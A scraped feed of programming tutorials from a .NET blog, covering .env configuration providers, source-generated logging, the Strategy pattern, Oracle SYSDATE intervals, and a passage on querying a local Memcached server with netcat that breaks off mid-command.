integrate your own provider, tailored to meet your specific configuration needs.\n.NET Core&rsquo;s IConfiguration interface is a powerful tool for managing application settings, and it can be extended to include environment variables stored in a .env file using a custom configuration provider.\nIn This Series # Reading .env Files in C# Create a Configuration Provider for Microsoft.Extensions.Configuration (You&rsquo;re here) Creating NuGet Package for EnvReader (coming soon) In this post, we\u2019ll demonstrate how to integrate the EnvReader class into IConfiguration, enabling seamless configuration management for your C# applications with support for DotEnv files.\nThis article is a follow-up to our previous post, Reading a .env File in C#, where we introduced the EnvReader class to load environment variables from a .env file.\nSetting Up the Project #Create a new .NET Standard Class Library and add the dependency packages.\n# creates class library dotnet new classlib -o Extensions.Configuration.EnvFile # add to solution dotnet sln add Extensions.Configuration.EnvFile\/Extensions.Configuration.EnvFile.csproj #add dependency packages dotnet add package Microsoft.Extensions.Configuration.Abstractions dotnet add package Microsoft.Extensions.Configuration.FileExtensions The .**csproj** file should look like this.\n&lt;Project Sdk=&#34;Microsoft.NET.Sdk&#34;&gt; &lt;PropertyGroup&gt; &lt;TargetFramework&gt;netstandard2.1&lt;\/TargetFramework&gt; &lt;Nullable&gt;enable&lt;\/Nullable&gt; &lt;\/PropertyGroup&gt; &lt;ItemGroup&gt; &lt;PackageReference Include=&#34;Microsoft.Extensions.Configuration.Abstractions&#34; Version=&#34;8.0.0&#34; \/&gt; &lt;PackageReference Include=&#34;Microsoft.Extensions.Configuration.FileExtensions&#34; Version=&#34;8.0.1&#34; \/&gt; &lt;\/ItemGroup&gt; &lt;\/Project&gt; Implementing the Configuration reader #To have a fully functional EnvReader integrated with Microsoft.Extensions.Configuration.IConfiguration interface lets us set up 4 different classes.\nEnvConfigurationExtensions - Here we will have the AddEnvFile method and overloads EnvConfigurationProvider - Provider to read the .env file EnvConfigurationSource - Source of Configuration that integrates with the Provider EnvReader - The .env file reader\/parser Step 1: Set Up the EnvReader Class #For this version of EnvReader let&rsquo;s use Stream instead of file path.\nusing System.Collections.Generic; using System.IO; internal static class EnvReader { public static IEnumerable&lt;KeyValuePair&lt;string, string&gt;&gt; Load(Stream stream) { StreamReader reader = new StreamReader(stream); while (reader.Peek() &gt; -1) { string line = reader.ReadLine(); if (string.IsNullOrWhiteSpace(line) || line.StartsWith(&#34;#&#34;)) continue; \/\/ Skip empty lines and comments var parts = line.Split(&#39;=&#39;, 2); if (parts.Length != 2) continue; \/\/ Skip lines that are not key-value pairs var key = parts[0].Trim(); var value = parts[1].Trim(); yield return new KeyValuePair&lt;string, string&gt;(key, value); } } } Step 2: Create a Custom Configuration Provider #To integrate EnvReader into IConfiguration, let&rsquo;s create a custom configuration provider.\nThis provider will load environment variables from a .env file and make them available through IConfiguration.\nusing Microsoft.Extensions.Configuration; using System.IO; internal class EnvConfigurationProvider : FileConfigurationProvider { public EnvConfigurationProvider(FileConfigurationSource source) : base(source) { } public override void Load(Stream stream) { foreach (var item in EnvReader.Load(stream)) { Data[item.Key] = item.Value; } } } Step 3: Create a Custom Configuration Source #Next, let&rsquo;s create a custom configuration source that will be used to add our EnvConfigurationProvider to the IConfigurationBuilder.\nusing Microsoft.Extensions.Configuration; public class EnvConfigurationSource : FileConfigurationSource { public override IConfigurationProvider Build(IConfigurationBuilder builder) { EnsureDefaults(builder); return new EnvConfigurationProvider(this); } } Step 4: Add Extension Method to IConfigurationBuilder #To make it easy to use our custom configuration provider, create a set of extension methods to register the EnvReader Provider.\nTo make registering easier, create extension methods in the namespace Microsoft.Extensions.Configuration\nusing Extensions.Configuration.EnvFile; using Microsoft.Extensions.FileProviders; using Microsoft.Extensions.FileProviders.Physical; using System; namespace Microsoft.Extensions.Configuration; public static class EnvConfigurationExtensions { public static IConfigurationBuilder AddEnvFile( this IConfigurationBuilder builder, string path = &#34;.env&#34;, bool optional = false, bool reloadOnChange = true) { var fileProvider = new PhysicalFileProvider(AppContext.BaseDirectory, ExclusionFilters.Hidden | ExclusionFilters.System); return AddEnvFile(builder, path: path, optional: optional, reloadOnChange: reloadOnChange, provider: fileProvider); } public static IConfigurationBuilder AddEnvFile( this IConfigurationBuilder builder, IFileProvider provider, string path, bool optional, bool reloadOnChange) { if (builder == null) throw new ArgumentNullException(nameof(builder)); if (string.IsNullOrEmpty(path)) throw new ArgumentException(&#34;invalid path&#34;, nameof(path)); return builder.AddEnvFile(s =&gt; { s.FileProvider = provider; s.Path = path; s.Optional = optional; s.ReloadOnChange = reloadOnChange; s.ResolveFileProvider(); }); } public static IConfigurationBuilder AddEnvFile( this IConfigurationBuilder builder, Action&lt;EnvConfigurationSource&gt; configureSource) =&gt; builder.Add(configureSource); } Demonstration #Now that everything is set up, let&rsquo;s integrate it into an ASP.NET Core application.\nIn the Program.cs or Startup.cs, add the following code to include your .env file in the configuration.\nvar builder = WebApplication.CreateBuilder(args); builder.Configuration.AddEnvFile(); var app = builder.Build(); app.MapGet(&#34;\/&#34;, (IConfiguration configuration) =&gt; { \/\/ Access the environment variables string apiKey = configuration[&#34;API_KEY&#34;] ?? throw new ArgumentException(&#34;Missing API_KEY env variable&#34;); string databaseUrl = configuration[&#34;DATABASE_URL&#34;] ?? throw new ArgumentException(&#34;Missing DATABASE_URL env variable&#34;); string debug = configuration[&#34;DEBUG&#34;] ?? throw new ArgumentException(&#34;Missing DEBUG env variable&#34;); \/\/ Output the values Console.WriteLine($&#34;API Key: {apiKey}&#34;); Console.WriteLine($&#34;Database URL: {databaseUrl}&#34;); Console.WriteLine($&#34;Debug Mode: {debug}&#34;); return new { apiKey, databaseUrl, debug }; }); app.Run(); Run the application and we should see the result below.\nSource Code #Source code available on Github repo.\nGitHub - ricardodemauro\/Rmauro.Extensions.Configuration.EnvFiles\nConclusion #By extending IConfiguration with a custom configuration provider, you can easily manage environment variables from a .env file in your ASP.NET Core applications.\nThis approach keeps your configuration clean and organized, making it easier to handle different environments without hardcoding sensitive values.\nAgain, feel free to enhance this solution by adding features like default values, nested configuration, or more sophisticated parsing logic. Happy coding! \ud83d\ude0e\n","date":"August 12, 2024","permalink":"https:\/\/rmauro.dev\/create-configuration-provider-microsoft-extensions-configuration\/","section":"Posts","summary":"<p>Let&rsquo;s create a custom configuration provider for <code>Microsoft.Extensions.Configuration<\/code>. This guide will walk you through the steps to build and integrate your own provider, tailored to meet your specific configuration needs.<\/p>\n<p>.NET Core&rsquo;s <code>IConfiguration<\/code> interface is a powerful tool for managing application settings, and it can be extended to include environment variables stored in a <code>.env<\/code> file using a custom configuration provider.<\/p>\n<h2 id=\"in-this-series\" class=\"relative group\">In This Series <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#in-this-series\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><ul>\n<li><a href=\"https:\/\/rmauro.dev\/read-env-file-in-csharp\/\" target=\"_blank\" rel=\"noreferrer\">Reading .env Files in C#<\/a><\/li>\n<li>Create a Configuration Provider for Microsoft.Extensions.Configuration (You&rsquo;re here)<\/li>\n<li>Creating NuGet Package for EnvReader (coming soon)<\/li>\n<\/ul>\n<p>In this post, we\u2019ll demonstrate how to integrate the <code>EnvReader<\/code> class into <code>IConfiguration<\/code>, enabling seamless configuration management for your C# applications with support for DotEnv files.<\/p>","title":"Create a Configuration Provider for Microsoft.Extensions.Configuration"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/env-file\/","section":"Tags","summary":"","title":"Env-File"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/iconfiguration\/","section":"Tags","summary":"","title":"IConfiguration"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/microsoft-extensions-configuration\/","section":"Tags","summary":"","title":"Microsoft-Extensions-Configuration"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/log\/","section":"Tags","summary":"","title":"Log"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/logging\/","section":"Tags","summary":"","title":"Logging"},{"content":"Source Generators in .NET have become increasingly popular among developers for their ability to generate code during compilation, leading to performance optimizations and cleaner codebases. In this article, we explore how you can leverage .NET Source Generators to significantly improve logging performance and maintainability in .NET applications.\nIn this post, we will explore how to use source generators for logging, the improvements and benefits they bring, and some practical tips to get the most out of this feature.\nLog using Source Generatored Log Method #Using source generators for logging in .NET can help streamline logging calls, reduce overhead, and provide more efficient, type-safe logging.\nThe Microsoft.Extensions.Logging namespace has integrated support for source-generated logging, which we will explore in detail.\nSetting Up Source-Generated Logging #To get started, you need to ensure you have the necessary packages. Typically, you would include the following in your project:\ndotnet add package Microsoft.Extensions.Logging dotnet add package Microsoft.Extensions.Logging.Abstractions Next, you need to enable the logging source generator. This is done by defining logging methods in a static partial class with the LoggerMessage attribute.\nHere\u2019s an example:\nusing Microsoft.Extensions.Logging; public static partial class Log { [LoggerMessage(EventId = 0, Level = LogLevel.Information, Message = &#34;Processing item {ItemId}&#34;)] public static partial void ProcessingItem(ILogger logger, int itemId); [LoggerMessage(EventId = 1, Level = LogLevel.Error, Message = &#34;Failed to process item {ItemId}: {ErrorMessage}&#34;)] public static partial void ProcessingItemFailed(ILogger logger, int itemId, string errorMessage); } Using the Generated Logging Methods #With the logging methods defined, you can use them in your application as follows:\npublic void ProcessItem(int itemId) { try { \/\/ Processing logic here Log.ProcessingItem(_logger, itemId); } catch (Exception ex) { Log.ProcessingItemFailed(_logger, itemId, ex.Message); } } Behind the Scenes: The Generated Code #During the compilation of the project the partial class for Log will generated and compiled along with the source code.\nObserve the generated code for the logging methods.\npartial class Log { \/\/\/ &lt;summary&gt; \/\/\/ Logs &#34;Processing item {ItemId}&#34; at &#34;Information&#34; level. \/\/\/ &lt;\/summary&gt; [global::System.CodeDom.Compiler.GeneratedCodeAttribute(&#34;Microsoft.Gen.Logging&#34;, &#34;8.2.0.0&#34;)] public static partial void ProcessingItem(global::Microsoft.Extensions.Logging.ILogger logger, int itemId) { if (!logger.IsEnabled(global::Microsoft.Extensions.Logging.LogLevel.Information)) { return; } var state = global::Microsoft.Extensions.Logging.LoggerMessageHelper.ThreadLocalState; _ = state.ReserveTagSpace(2); state.TagArray[1] = new(&#34;ItemId&#34;, itemId); state.TagArray[0] = new(&#34;{OriginalFormat}&#34;, &#34;Processing item {ItemId}&#34;); logger.Log( global::Microsoft.Extensions.Logging.LogLevel.Information, new(0, nameof(ProcessingItem)), state, null, [global::System.CodeDom.Compiler.GeneratedCodeAttribute(&#34;Microsoft.Gen.Logging&#34;, &#34;8.2.0.0&#34;)] static string (s, _) =&gt; { var itemId = s.TagArray[1].Value; return global::System.FormattableString.Invariant($&#34;Processing item {itemId}&#34;); }); state.Clear(); } \/\/\/ &lt;summary&gt; \/\/\/ Logs &#34;Failed to process item {ItemId}: {ErrorMessage}&#34; at &#34;Error&#34; level. \/\/\/ &lt;\/summary&gt; [global::System.CodeDom.Compiler.GeneratedCodeAttribute(&#34;Microsoft.Gen.Logging&#34;, &#34;8.2.0.0&#34;)] public static partial void ProcessingItemFailed(global::Microsoft.Extensions.Logging.ILogger logger, int itemId, string errorMessage) { var state = global::Microsoft.Extensions.Logging.LoggerMessageHelper.ThreadLocalState; _ = state.ReserveTagSpace(3); state.TagArray[2] = new(&#34;ItemId&#34;, itemId); state.TagArray[1] = new(&#34;ErrorMessage&#34;, errorMessage); state.TagArray[0] = new(&#34;{OriginalFormat}&#34;, &#34;Failed to process item {ItemId}: {ErrorMessage}&#34;); logger.Log( global::Microsoft.Extensions.Logging.LogLevel.Error, new(1, nameof(ProcessingItemFailed)), state, null, [global::System.CodeDom.Compiler.GeneratedCodeAttribute(&#34;Microsoft.Gen.Logging&#34;, &#34;8.2.0.0&#34;)] static string (s, _) =&gt; { var itemId = s.TagArray[2].Value; var errorMessage = s.TagArray[1].Value ?? &#34;(null)&#34;; return global::System.FormattableString.Invariant($&#34;Failed to process item {itemId}: {errorMessage}&#34;); }); state.Clear(); } } Improvements and Benefits # Performance: Source-generated logging methods are more performant than traditional logging methods because the code is generated at compile time, avoiding reflection and dynamic code generation at runtime. Type Safety: The generated methods provide type-safe logging. If you change the parameters or the message template, you will get compile-time errors instead of runtime issues. Reduced Boilerplate: You write the logging methods once, and the source generator takes care of the rest, reducing the amount of repetitive code in your project. Consistency: Ensures that logging messages are consistent across the application, as they are defined in one place. Practical Tips # Use Descriptive Names: When defining logging methods, use descriptive names and message templates to make it clear what each log entry represents. Keep It Organized: Group related logging methods in the same partial class to keep your code organized. Event IDs: Use unique event IDs for each logging method to help with filtering and analyzing logs. Log Levels: Carefully choose the appropriate log level (e.g., Information, Error, Warning) to avoid cluttering your logs with unnecessary information. Template Matching: Ensure that the message templates match the method parameters exactly to avoid runtime errors. Keeping Organized #Group related logging methods in the same partial class to keep your code organized.\nusing Microsoft.Extensions.Logging; namespace TodoList; public static partial class Log { [LoggerMessage(EventId = 0, Level = LogLevel.Information, Message = &#34;Processing item {ItemId}&#34;)] public static partial void ProcessingItem(ILogger logger, int itemId); [LoggerMessage(EventId = 1, Level = LogLevel.Error, Message = &#34;Failed to process item {ItemId}: {ErrorMessage}&#34;)] public static partial void ProcessingItemFailed(ILogger logger, int itemId, string errorMessage); } public class Todo(ILogger&lt;Todo&gt; logger) { public void ProcessItem(int itemId) { try { \/\/ Processing logic here Log.ProcessingItem(logger, itemId); } catch (Exception ex) { Log.ProcessingItemFailed(logger, itemId, ex.Message); } } } Conclusion #Source generators provide a powerful way to improve logging in .NET applications.\nBy generating logging code at compile time, you can achieve better performance, type safety, and consistency. Incorporate source-generated logging into your projects to take advantage of these benefits and streamline your logging implementation.\nIf you have any questions or would like to see more examples, feel free to reach out. Happy coding!\nReferences #https:\/\/learn.microsoft.com\/en-us\/dotnet\/core\/extensions\/logger-message-generator\nFor more detailed articles and hands-on tutorials on .NET and C#, check out my blog at rmauro.dev. Subscribe to my newsletter, Developers Garage, for weekly updates and curated content.\n","date":"August 10, 2024","permalink":"https:\/\/rmauro.dev\/logging-improvements-with-source-generators-in-net\/","section":"Posts","summary":"<p>Source Generators in .NET have become increasingly popular among developers for their ability to generate code during compilation, leading to performance optimizations and cleaner codebases. In this article, we explore how you can leverage .NET Source Generators to significantly improve logging performance and maintainability in .NET applications.<\/p>\n<p>In this post, we will explore how to use source generators for logging, the improvements and benefits they bring, and some practical tips to get the most out of this feature.<\/p>","title":"Logging Performance Improvements with Source Generators in C# .NET"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/serilog\/","section":"Tags","summary":"","title":"Serilog"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/source-generator\/","section":"Tags","summary":"","title":"Source-Generator"},{"content":"In C#, managing application configuration using environment variables stored in a .env file is a best practice, especially for handling different environments like development, staging, and production.\nA .env file is a convenient way to store these variables locally during development.\nIn this post, let&rsquo;s check how to read a .env file in a C# application without relying on any third-party libraries. In Fact it&rsquo;s pretty simple to do.\nIn This Series # Reading .env Files in C# (this article) Create a Configuration Provider for Microsoft.Extensions.Configuration Creating NuGet Package for EnvReader (coming soon) Why Use a .env File? #A .env file contains key-value pairs representing environment variables.\nIt helps in keeping configuration separate from the codebase and is especially useful for.\nSecurity: Sensitive information like API keys can be excluded from the codebase. Consistency: Ensures that configuration is consistent across different environments. Convenience: Easy to switch between different configurations during development. Setting Up the Project #Let&rsquo;s start with a simple .NET console application.\ndotnet new console -n EnvReaderApp cd EnvReaderApp Create a .env file in the root of your project directory.\n# .env API_KEY=12345 DATABASE_URL=localhost:5432 DEBUG=true Implementing the .env File Reader #Let&rsquo;s implement a simple parser that reads the .env file and sets the variables as environment variables in the application.\nusing System; using System.IO; class EnvReader { public static void Load(string filePath) { if (!File.Exists(filePath)) throw new FileNotFoundException($&#34;The file &#39;{filePath}&#39; does not exist.&#34;); foreach (var line in File.ReadAllLines(filePath)) { if (string.IsNullOrWhiteSpace(line) || line.StartsWith(&#34;#&#34;)) continue; \/\/ Skip empty lines and comments var parts = line.Split(&#39;=&#39;, 2); if (parts.Length != 2) continue; \/\/ Skip lines that are not key-value pairs var key = parts[0].Trim(); var value = parts[1].Trim(); Environment.SetEnvironmentVariable(key, value); } } } Let&rsquo;s use the EnvReader in our project.\nstatic void Main(string[] args) { \/\/ Load environment variables from .env file EnvReader.Load(&#34;.env&#34;); \/\/ Access the environment variables string apiKey = Environment.GetEnvironmentVariable(&#34;API_KEY&#34;); string databaseUrl = Environment.GetEnvironmentVariable(&#34;DATABASE_URL&#34;); string debug = Environment.GetEnvironmentVariable(&#34;DEBUG&#34;); \/\/ Output the values Console.WriteLine($&#34;API Key: {apiKey}&#34;); Console.WriteLine($&#34;Database URL: {databaseUrl}&#34;); Console.WriteLine($&#34;Debug Mode: {debug}&#34;); \/\/ Check if debug mode is enabled if (bool.TryParse(debug, out bool isDebug) &amp;&amp; isDebug) { Console.WriteLine(&#34;Debug mode is enabled.&#34;); } else { Console.WriteLine(&#34;Debug mode is not enabled.&#34;); } } How It Works # Reading the .env File: The Load method reads all lines from the .env file. Processing Each Line: It skips empty lines and comments, splits the line into key and value, and sets them as environment variables using Environment.SetEnvironmentVariable. Using Environment Variables: The Main method demonstrates accessing these variables and using them in the application logic. Best Practices # Security: Add the .env file to your .gitignore file to avoid committing sensitive information. Template Files: Use a .env.example file with placeholder values to share configuration requirements without exposing sensitive data. Error Handling: Implement robust error handling for scenarios like missing files or incorrect formats. Source Code #Source code available on Github repo.\nGitHub - ricardodemauro\/Rmauro.Extensions.Configuration.EnvFiles\nConclusion #Reading a .env file in C# without third-party libraries is straightforward and allows you to manage configuration securely and efficiently.\nThis approach gives you complete control over how you handle and parse environment variables, which can be tailored to fit specific needs or constraints.\nFeel free to enhance this solution by adding features like default values, nested configuration, or more sophisticated parsing logic. Happy coding! \ud83d\ude0e\n","date":"August 8, 2024","permalink":"https:\/\/rmauro.dev\/read-env-file-in-csharp\/","section":"Posts","summary":"<p>In C#, managing application configuration using environment variables stored in a <strong>.env<\/strong> file is a best practice, especially for handling different environments like development, staging, and production.<\/p>\n<p>A <em>.env<\/em> file is a convenient way to store these variables locally during development.<\/p>\n<p>In this post, let&rsquo;s check how to read a <em>.env<\/em> file in a C# application without relying on any third-party libraries. In Fact it&rsquo;s pretty simple to do.<\/p>\n<h2 id=\"in-this-series\" class=\"relative group\">In This Series <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#in-this-series\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><ul>\n<li>Reading .env Files in C# (this article)<\/li>\n<li><a href=\"https:\/\/rmauro.dev\/create-configuration-provider-microsoft-extensions-configuration\/\" target=\"_blank\" rel=\"noreferrer\">Create a Configuration Provider for Microsoft.Extensions.Configuration<\/a><\/li>\n<li>Creating NuGet Package for EnvReader (coming soon)<\/li>\n<\/ul>\n<h2 id=\"why-use-a-env-file\" class=\"relative group\">Why Use a .env File? <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#why-use-a-env-file\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>A <em>.env<\/em> file contains key-value pairs representing environment variables.<br>\nIt helps in keeping configuration separate from the codebase and is especially useful for.<\/p>","title":"Load .env Files in C# .NET"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/design-patterns\/","section":"Tags","summary":"","title":"Design Patterns"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/strategy\/","section":"Tags","summary":"","title":"Strategy"},{"content":"The Strategy design pattern offers a powerful solution for making algorithms interchangeable within your applications. Let&rsquo;s cover C# application and implementation in this article.\nBy encapsulating related algorithms within a family and allowing them to be swapped seamlessly, this pattern enhances flexibility and maintainability.\nIn this post, we&rsquo;ll dive into the Strategy pattern, explore its key concepts, and implement a simple example in C#.\nUnderstanding the Strategy Pattern #The Strategy pattern is a behavioral design pattern that defines a family of algorithms, encapsulates each one, and makes them interchangeable. It allows the algorithm to vary independently from the clients that use it.\nKey Components # Strategy Interface: A common interface for all supported algorithms. Concrete Strategies: Implementations of the strategy interface with specific algorithms. Context: Maintains a reference to a strategy object and allows clients to set or change the strategy at runtime. Implementing the Strategy Pattern in C# #Let&rsquo;s implement the Strategy pattern with a simple example of sorting algorithms.\n1. Define the Strategy Interface #First, we define an interface that all sorting strategies will implement:\npublic interface ISortStrategy { void Sort(List&lt;int&gt; list); } 2. Implement Concrete Strategies #Next, we create concrete classes that implement the sorting algorithms:\nBubbleSortStrategy #public class BubbleSortStrategy : ISortStrategy { public void Sort(List&lt;int&gt; list) { for (int i = 0; i &lt; list.Count - 1; i++) { for (int j = 0; j &lt; list.Count - i - 1; j++) { if (list[j] &gt; list[j + 1]) { int temp = list[j]; list[j] = list[j + 1]; list[j + 1] = temp; } } } } } QuickSortStrategy #public class QuickSortStrategy : ISortStrategy { public void Sort(List&lt;int&gt; list) { QuickSort(list, 0, list.Count - 1); } private void QuickSort(List&lt;int&gt; list, int low, int high) { if (low &lt; high) { int pi = Partition(list, low, high); QuickSort(list, low, pi - 1); QuickSort(list, pi + 1, high); } } private int Partition(List&lt;int&gt; list, int low, int high) { int pivot = list[high]; int i = (low - 1); for (int j = low; j &lt; high; j++) { if (list[j] &lt;= pivot) { i++; int temp = list[i]; list[i] = list[j]; list[j] = temp; } } int temp1 = list[i + 1]; list[i + 1] = list[high]; list[high] = temp1; return i + 1; } } 3. Create the Context Class #The context class maintains a reference to a strategy object and allows clients to change the strategy:\npublic class SortContext { private ISortStrategy _sortStrategy; public SortContext(ISortStrategy sortStrategy) { _sortStrategy = sortStrategy; } public void SetStrategy(ISortStrategy sortStrategy) { _sortStrategy = sortStrategy; } public void Sort(List&lt;int&gt; list) { _sortStrategy.Sort(list); } } 4. Using the Strategy Pattern #Finally, we use the context class to apply different sorting strategies:\nclass Program { static void Main(string[] args) { List&lt;int&gt; numbers = new List&lt;int&gt; { 34, 7, 23, 32, 5, 62 }; \/\/ Use BubbleSort strategy SortContext context = new SortContext(new BubbleSortStrategy()); context.Sort(numbers); Console.WriteLine(&#34;Bubble Sorted List: &#34; + string.Join(&#34;, &#34;, numbers)); \/\/ Change to QuickSort strategy context.SetStrategy(new QuickSortStrategy()); numbers = new List&lt;int&gt; { 34, 7, 23, 32, 5, 62 }; \/\/ Reset the list context.Sort(numbers); Console.WriteLine(&#34;Quick Sorted List: &#34; + string.Join(&#34;, &#34;, numbers)); } } Conclusion #The Strategy design pattern in C# provides a robust framework for creating interchangeable algorithms, promoting flexibility and maintainability in your applications.\nBy encapsulating each algorithm within its own class and using a common interface, the Strategy pattern adheres to the open\/closed principle, making it easier to introduce new algorithms without modifying existing code. Embrace the Strategy pattern to enhance your software development practices and build more adaptable systems.\nFor more detailed articles and hands-on tutorials on .NET and C#, check out my blog at rmauro.dev. Subscribe to my newsletter, Developers Garage, for weekly updates and curated content.\n","date":"August 7, 2024","permalink":"https:\/\/rmauro.dev\/the-strategy-design-pattern-in-csharp\/","section":"Posts","summary":"<p>The Strategy design pattern offers a powerful solution for making algorithms interchangeable within your applications. Let&rsquo;s cover C# application and implementation in this article.<\/p>\n<p>By encapsulating related algorithms within a family and allowing them to be swapped seamlessly, this pattern enhances flexibility and maintainability.<\/p>\n<p>In this post, we&rsquo;ll dive into the Strategy pattern, explore its key concepts, and implement a simple example in C#.<\/p>\n<h2 id=\"understanding-the-strategy-pattern\" class=\"relative group\">Understanding the Strategy Pattern <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#understanding-the-strategy-pattern\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>The Strategy pattern is a behavioral design pattern that defines a family of algorithms, encapsulates each one, and makes them interchangeable. It allows the algorithm to vary independently from the clients that use it.<\/p>","title":"The Strategy Design Pattern in C# Applications"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/oracle\/","section":"Tags","summary":"","title":"Oracle"},{"content":"Oracle&rsquo;s SYSDATE function, combined with the INTERVAL keyword, provides a convenient way to manipulate dates and times.\nOperations with SYSDATE on Oracle #Here are examples of subtracting different time units from the current date and time.\nSubtracting Months #To subtract six months from the current date:\nSELECT SYSDATE - INTERVAL &#39;6&#39; MONTH AS &#34;Six Months Ago&#34; FROM DUAL; Subtracting Days #To subtract 10 days from the current date:\nSELECT SYSDATE - INTERVAL &#39;10&#39; DAY AS &#34;Ten Days Ago&#34; FROM DUAL; Subtracting Hours #To subtract 5 hours:\nSELECT SYSDATE - INTERVAL &#39;5&#39; HOUR AS &#34;Five Hours Ago&#34; FROM DUAL; Subtracting Minutes #To subtract 15 minutes:\nSELECT SYSDATE - INTERVAL &#39;15&#39; MINUTE AS &#34;Fifteen Minutes Ago&#34; FROM DUAL; Conclusion #These examples show how to use the INTERVAL keyword with SYSDATE to perform common date and time operations in Oracle. This approach is both intuitive and precise, allowing for clear and readable SQL queries when adjusting timestamps.\n","date":"August 6, 2024","permalink":"https:\/\/rmauro.dev\/oracle-sysdate-internal-subtracting-time\/","section":"Posts","summary":"<p>Oracle&rsquo;s <code>SYSDATE<\/code> function, combined with the <code>INTERVAL<\/code> keyword, provides a convenient way to manipulate dates and times.<\/p>\n<h2 id=\"operations-with-sysdate-on-oracle\" class=\"relative group\">Operations with SYSDATE on Oracle <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#operations-with-sysdate-on-oracle\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>Here are examples of subtracting different time units from the current date and time.<\/p>\n<h3 id=\"subtracting-months\" class=\"relative group\">Subtracting Months <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#subtracting-months\" aria-label=\"Anchor\">#<\/a><\/span><\/h3><p>To subtract six months from the current date:<\/p>\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-sql\" data-lang=\"sql\"><span class=\"line\"><span class=\"cl\"><span class=\"k\">SELECT<\/span><span class=\"w\"> <\/span><span class=\"n\">SYSDATE<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"nb\">INTERVAL<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;6&#39;<\/span><span class=\"w\"> <\/span><span class=\"k\">MONTH<\/span><span class=\"w\"> <\/span><span class=\"k\">AS<\/span><span class=\"w\"> <\/span><span class=\"s2\">&#34;Six Months Ago&#34;<\/span><span class=\"w\"> <\/span><span class=\"k\">FROM<\/span><span class=\"w\"> <\/span><span class=\"n\">DUAL<\/span><span class=\"p\">;<\/span><span class=\"w\">\n<\/span><\/span><\/span><\/code><\/pre><\/div><h3 id=\"subtracting-days\" class=\"relative group\">Subtracting Days <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#subtracting-days\" aria-label=\"Anchor\">#<\/a><\/span><\/h3><p>To subtract 10 days from the current date:<\/p>","title":"Oracle SYSDATE minus INTERVAL - Subtracting Time Units"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/oracle-functions\/","section":"Tags","summary":"","title":"Oracle-Functions"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/oracle-sysdate\/","section":"Tags","summary":"","title":"Oracle-Sysdate"},{"content":"Recently, I encountered an intriguing code challenge: build a CLI to connect to Memcached.\nMy initial thought was to use telnet to interact with the Memcached server. However, after spending some time reading the Memcached protocol documentation I decided to use Netcat instead.\nThis blog post shares my experience and explains how to use netcat to connect to Memcached, illustrating some basic commands.\nPrerequisites #Ensure the following before starting:\nMemcached Netcat Protocol Explained #Memcached uses a simple text-based protocol to store, retrieve, and manage data. The basic operations include commands like set, get, delete, and flush_all.\nCommands: These are the operations you want to perform, such as get to retrieve data or set to store data. Keys: Memcached uses keys to identify the data. Flags: These are optional numerical values stored with the data. They can be used to specify how the data should be interpreted or managed but are often set to 0. Expiration Time: This specifies the lifespan of the cached data in seconds. Data Length: When storing data, you must specify the length of the data in bytes. Data Block: This is the actual data being stored or retrieved. When using the set command, the data is sent after the command and key information, separated by a newline character. Example for set command:\nset &lt;key&gt; &lt;flags&gt; &lt;exptime&gt; &lt;bytes&gt;\\r\\n &lt;data block&gt;\\r\\n # for example set foo 0 300 3 bar foo: Key 0: Flags 300: Expiration time in seconds 3: Number of bytes in the data block bar: Data block The server responds with STORED if the operation was successful.\nSimilarly, commands like get and delete have their own structures:\nGet: get &lt;key&gt;\\r\\n Delete: delete &lt;key&gt;\\r\\n Basic Memcached Commands with Netcat #Retriving an Entry #To retrieve data stored in Memcached, use the following command. Replace foo with your desired key\necho &#39;get foo&#39; | nc localhost 11211 This command sends a request to the Memcached server to get the value associated with the key foo.\nReseting the Cache #To clear all data from the cache, use the flush_all command.\necho &#39;flush_all&#39; | nc localhost 11211 This command tells the Memcached server to flush all cached data, essentially resetting the cache.\nSetting a new Entry #To store data in Memcached, use the set command.\n# sets on key foo the value bar for 300 seconds echo -e &#39;set foo 0 300 